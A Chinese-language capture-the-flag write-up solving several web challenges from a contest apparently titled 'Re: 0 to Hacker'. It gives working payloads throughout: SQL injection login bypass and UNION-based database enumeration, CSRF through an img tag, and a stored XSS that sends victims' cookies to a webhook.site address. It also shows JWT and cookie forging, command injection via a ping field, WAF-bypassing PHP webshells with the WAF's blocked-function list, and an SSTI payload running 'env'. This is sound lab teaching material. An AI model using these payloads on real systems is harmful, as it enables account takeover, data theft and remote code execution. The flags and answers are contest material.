Re_ 0 to Hacker Web 方向题解
Re: 0 to Hacker Web 方向题解
漏洞百出

解法1:
dirsearch扫目录发现存在如下资源 (审计源代码也可知)

直接访问/flag或/flag.php,仔细观察发现页面的响应头中存在flag

提交flag{f249e8bf-2d8b-497b-a3b0-dd1aec72f95b}
其它漏洞:
phpinfo暴露
扫目录可知存在info.php,phpinfo一般会暴露环境变量,但此处并未暴露,应该是有意隐藏
弱口令登录
尝试弱口令爆破可知


存在弱口令guest | guest,admin | 1145141919810两个弱口令可以登录guest和admin账号
SQL注入
使用万能密码(SQL注入口令)' OR '1' = '1' --也可登录admin和guest两个账号
网页源代码泄露
方法1
扫目录可知存在robots.txt,访问即可看见存在1000.zip,下载
方法2
千芬小游戏

点击1000下,或者抓包改包为1000,在返回的请求包中可以看见存在1000.zip

CSRF + XSS

可见访问/change_password.php?password=xxxx即可更改密码,在向管理员提建议中,输入一个存储型XSS的payload,即可用账密admin | 1234直接登录admin账号


Cookie伪造
网页有两种Cookie

role
base64解码可知内容为notadmin,改为admin的base64编码


刷新一下发现变成管理员页面

JWT
此处由token格式可知token为JWT,尝试爆破或猜测可得弱密钥 1234,再把username改成admin,即可构造出admin用户的JWTtoken


SSRF
可以通过从URL导入头像的方式输入网址,探测服务器端的资源内容

文件上传
由于发送头像时完全没有任何检验,所以可以发送任意文件
Phpinfo(解法2)
因为phpinfo暴露时未暴露环境变量
发送一个这样的文件(显示phpinfo界面)


然后访问,即可在环境变量中找到flag

提交flag{f249e8bf-2d8b-497b-a3b0-dd1aec72f95b}
Shell(解法3)
发送一个一句话木马


然后访问并以GET方法发送payload

最终在环境变量中找到flag,payload可以用env,也可以cat /proc/self/environ


更多解法待补充……
节点协议

发现输入网址下方会回传Linux命令ping <url>的结果,此时可以使用;来中止当前命令,后跟下一条命令,例如;ls /

发现异常文件NOTICE.txt,challenge以及flag,cat /flag发现flag文件是一个ELF可执行文件

使用/flag运行显示Permission denied,即权限不足

使用ls -l ``/,发现并没有可执行权限(x),使用chmod命令增加可执行权限,并再次运行,发现很多 FAIL 需要修复


随即查看NOTICE.txt

======================================================================
KZ-08 山区应急通信中继站 / 节点复原工单
工单编号:ZFQ-KZ08-325
优先级:P0 / 应急链路中断
======================================================================
值班恢复员:
昨夜雷暴导致 KZ-08 中继站异常重启。文件系统本身仍可读写,但自动投递服务的
目录索引和权限状态已经损坏。该节点负责把山区监测站的应急数据转送到主控
中心;下一批数据到达前,必须恢复投递链路。
图形化运维后台已经离线,目前只剩网络连通性诊断接口仍能调用底层系统。
诊断中心附有一份操作手册入口,可在需要时查阅。
[工单一:清理失效队列]
垃圾缓存区域 /challenge/garbage 中残留了名为 obsolete.cache 的失效缓存
文件,需要彻底清除。
同一区域还保留了一个已经排空的旧队列目录:
/challenge/garbage/retired-queue
确认它为空后,将这个旧目录一并移除,为新的投递任务释放队列槽位。
[工单二:找回待投递数据包]
真正的运输包 courier.pkg 因索引损坏遗失在 /challenge/maze 的多层归档
目录中。该区域存在多个名称相似的备份和旧包,请确认文件名完全匹配。
找到后,将它转移到新的投递位置:
/challenge/dropzone/courier.pkg
为避免反复运输,/challenge/maze 中不应当保留 courier.pkg 。
[工单三:保存故障证据]
/challenge/evidence 中保存了多个节点的访问日志。与本次中断直接相关的日志
包含事件标识:
Re: 0 to Hacker
定位包含该标识的日志,并在投递区域创建一个证据副本,副本必须命名为:
/challenge/dropzone/evidence.txt
原始日志是事故调查的依据,须继续保留在原处。
[工单四:恢复最终验证]
完成全部文件处理后,运行:
/flag
进行节点验证交付
—— KZ-08 中继站自动恢复总线
根据要求依次运行如下代码即可
# 工单一
rm /challenge/garbage/obsolete.cache
rmdir /challenge/garbage/retired-queue
# 可以用 ls /challenge/garbage 来校验完成情况
# 工单二
find /challenge/maze -name courier.pkg
mv <上一条命令的结果> /challenge/dropzone/courier.pkg
# 或者也可以
# find /challenge/maze -name courier.pkg -exec mv {} /challenge/dropzone/courier.pkg \;
# 工单三
grep -r "Re: 0 to Hacker" /challenge/evidence
cp <上一条命令的结果> /challenge/dropzone/evidence.txt
# 或者也可以
# cp "$(grep -rl "Re: 0 to Hacker" /challenge/evidence)" /challenge/dropzone/evidence.txt
# 工单四
/flag

WALF
本题至少需要了解什么是一句话木马

查看功能,发现存在图片上传和公告预览等功能,图片上传会有WAF进行检查,检查内容已经明确给出

公告预览功能,根据URL所传的GET参数,可以预览指定的文件

写一个如下的文件上传,但是被WAF拦截


多次尝试后可知WAF拦截如下的字面量
<?php
assert
eval
shell_exec
system
exec
passthru
proc_open
popen
pcntl_exec
call_user_func_array
call_user_func
create_function
include_once
include
require_once
require
cmd
payload
想办法绕过WAF写入php内容,首先<?php被WAF了,可以用短标签<?替代;执行命令的函数此处提供两种方法绕过:
- 反引号执行
PHP版本\<8.5时,默认开启command执行命令,此时就可以使用echocommand``执行命令并回显
GIF89A
<? $c=$_GET['c']; echo `$c`; ?>
- 字符串拼接
因为只WAF了字面量,所以只需要将两个字符串字面量用 . 运算符拼接组合成需要的字符串即可绕过
GIF89A
<? $p="sys"."tem"; $p($_GET['c']); ?>
写入成功后直接访问,发现会按照图片解析,并不按照PHP解析


此时想到存在一个文件预览界面,它可以预览其它php中的内容,并且易知,当 PHP 引擎include 一个文件时,如果文件内部存在PHP标签,那么它就会执行标签内的代码,我们访问

看到报错,说明正在尝试运行我们的PHP代码,我们传入GET参数c=ls /即可看见文件/fla4_cumt

然后执行命令cat /f1a4_cumt

即可获得 flag : flag{c8ae600b-4cdc-4b5c-bcc9-773ca355c3b7}
Fields Medal

存在随机选取和搜索两个方式进行搜索
在app.js中可以看到用于查询的语句

于是根据这个语句进行SQL注入" OR "1" = "1" --,结果被拦截

多次尝试后发现注释符被WAF,那么不用注释符号,直接让"拼接,即" OR "1" = "1,搜索成功

随即在Title,Category,Description,img四列中寻找flag
" OR Title LIKE '%flag%' OR Category LIKE '%flag%' OR Description LIKE '%flag%' OR Img LIKE '%flag%' AND "1"="1
搜索失败,说明flag并不在这些列中
随后探测后端数据库类型,一般来说以下搜索哪个没报错就是哪一种数据库
" UNION SELECT version(),1,2,3 WHERE "1"="1 -- MySQL
" UNION SELECT sqlite_version(),1,2,3 WHERE "1"="1 -- SQLite
" UNION SELECT @@VERSION,1,2,3 WHERE "1"="1 -- MSSQL
可以发现后端是MySQL,查询当前所在数据库,然后做如下查询
/* 获取当前表中列名 */
" UNION SELECT GROUP_CONCAT(column_name),1,2,3 FROM information_schema.columns WHERE table_name='yuri' AND "1"="1
/* 获取当前数据库名 */
" UNION SELECT database(),1,2,3 WHERE "1"="1
/* 获取当前数据库中表名 */
" UNION SELECT GROUP_CONCAT(table_name),1,2,3 FROM information_schema.tables WHERE table_schema='YuriWork' AND "1"="1
/* 获取其它数据库名 */
" UNION SELECT GROUP_CONCAT(schema_name),1,2,3 FROM information_schema.schemata WHERE schema_name != database() AND "1"="1
此时就可看出来flag并不在当前数据库中,而是在数据库F1ag中

那么,继续做如下查询
/* 查询F1ag数据库中有哪些表 */
" UNION SELECT GROUP_CONCAT(table_name),1,2,3 FROM information_schema.tables WHERE table_schema='F1ag' AND "1"="1
/* 查询fl4g表中有哪些列 */
" UNION SELECT GROUP_CONCAT(column_name),1,2,3 FROM information_schema.columns WHERE table_name='fl3g' AND "1"="1
/* 查询flag列中的内容 */
" UNION SELECT GROUP_CONCAT(flag),1,2,3 FROM F1ag.fl3g WHERE "1"="1

清除中间多余的,和},可知flag{WHa7_are_SOME_EXCel13N7_YUrI_14NWORKs_6f30ea22701e}
𝙋𝙍𝙏𝙎
过剧情,进入登录页面

登录后可见一个更改密码界面,并且修改密码时传入GET参数password和confirmpassword即可修改密码

然后访问聊天界面,构造payload,由于innerHTML插入的<script>标签不会被浏览器解析,所以可以使用<img>或<iframe>构造payload

<img src="http://127.0.0.1:8080/change-password?password=1234&confirmpassword=1234">
然后用改完的密码登录PRTS用户PRTS | 1234

发现另一个PRIESTESS用户,尝试相同的方法更改她的密码,发现password被过滤了

所以改不了密码,尝试直接获取PRIESTESS用户的Cookie,使用webhook获取PRIESTESS的Cookie

<img src=x onerror=fetch("http://webhook.site/1aac67db-382c-4952-983c-901b8d1926b5?cookie="+document.cookie)>

将页面的Cookie换成PRIESTESS的Cookie,然后刷新,成功进入PRIESTESS用户的页面


复制这一串指令,然后重新登录ELCARO账号,添加自修改指令,然后获取flag

获取flag:flag{arkNlGH75_3ea440ceb31d}
竹知了
首先我们注意到题目提示说摇上114514下有神秘提示。
按下F12,进入调试界面,发现摇动时会有次数上报。

并且是以Delta差值的方式上报,前端未加混淆,我们可以找到发出这个这个请求的代码。

点击这里以快速定位。

我们可以选择伪造数据包,也可以直接执行这个函数。

在控制台执行该函数,发现hint出现了。

我们访问 /hint.zip,下载。发现是一个完整的后端程序,这道题的后半段为白盒。

发现存在 /admin 后台,但是需要 JWT role 为 admin,但是默认的是 user。


发现JWT密钥为开始时间戳,这样我们可以伪造身份。
以下是相关原理介绍:

注意到 report 接口存在提示,会告诉你当前请求下,服务器已经运行了多久了:

只要随便找一个请求,把时间减去 server_uptime,即可算出启动时间。


可以让豆包算,他会调用工具,算的比较准(不像DeepSeek一样乱猜)

我们可以用这个网站来验证 https://www\.jwt\.io/


验证通过,说明是正确的密钥。接下来我们把它篡改成 admin,然后签名,这样服务器就信了。

替换相应 cookie 后访问 /admin,即可进入后台。

发现摇动文案配置包含 render_template_string,未经任何过滤,没有沙盒,这是典型的 SSTI 漏洞。

有一个快速验证有没有模板渲染的方法,就是输入 {{7*7}},让服务端渲染,如果结果49说明或许能利用。

具体 SSTI 利用方法可上网学习,此处直接给到 payload,获取环境变量。
{{config.__class__.__init__.__globals__['os'].popen('env').read()}}
